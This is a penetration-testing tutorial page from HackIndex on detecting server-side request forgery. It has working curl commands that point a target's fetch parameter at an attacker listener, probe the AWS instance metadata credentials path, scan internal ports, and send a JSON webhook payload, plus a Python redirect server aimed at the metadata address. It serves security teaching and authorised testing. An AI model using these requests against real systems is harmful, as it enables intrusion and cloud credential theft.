Skip to content
HackIndex logo

HackIndex

SSRF Detection

3 min read Mar 28, 2026

Server-Side Request Forgery causes the server to make HTTP requests to attacker-controlled URLs. This enables access to internal services not exposed externally, cloud metadata endpoints, and in some cases blind out-of-band data exfiltration. Detection confirms the server makes outbound connections based on user input. Confirmed SSRF moves to SSRF exploitation.

Look for parameters named url, redirect, src, href, dest, host, endpoint, callback, feed, load, or fetch during parameter crawling.

Out-of-Band Callback Detection

The most reliable SSRF detection method. Point a URL parameter at a host you control and watch for an incoming connection:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT &
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://$LHOST:$LPORT/ssrf-test" 
GET /ssrf-test HTTP/1.1
Host: 10.10.14.5:4444
User-Agent: Python-urllib/3.8

An incoming request confirms SSRF. The User-Agent in the callback often reveals the server-side HTTP library being used — useful for crafting follow-on payloads.

Cloud Metadata Endpoint Test

If the callback confirms SSRF, immediately probe the AWS IMDS endpoint. It is the fastest high-impact SSRF follow-on in cloud environments:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://169.254.169.254/latest/meta-data/" 
ami-id
ami-launch-index
hostname
iam/
instance-id
local-ipv4
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" 
ec2-instance-role

Internal Service Probing

Use SSRF to probe internal network services not reachable from outside. Measure response times and sizes to identify open ports:

┌──(kali㉿kali)-[~]
└─$ for port in 22 80 443 3306 5432 6379 8080 8443; do echo -n "$port: "; time curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://127.0.0.1:$port/" -o /dev/null -w '%{http_code}' 2>&1; echo; done 
22: 000
80: 200
443: 000
3306: 000
8080: 200

A 200 response for an internal port confirms the service is running internally and SSRF reaches it. A fast 000 means the port is closed. A slow 000 means the port may be filtered.

Redirect Chain SSRF

Applications that follow redirects can be exploited via open redirects on trusted domains. Test whether the server follows redirects to internal addresses:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/fetch?url=http://$LHOST:$LPORT/redirect"

Serve a redirect from your listener to an internal address and observe whether the server follows it:

#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()

SSRF via XML Input

XML-accepting endpoints with XXE can trigger SSRF through external entity HTTP requests — covered in XXE detection. Test JSON endpoints for URL fields too:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/webhook -H 'Content-Type: application/json' -d "{\"url\":\"http://$LHOST:$LPORT/ssrf-json\"}"

References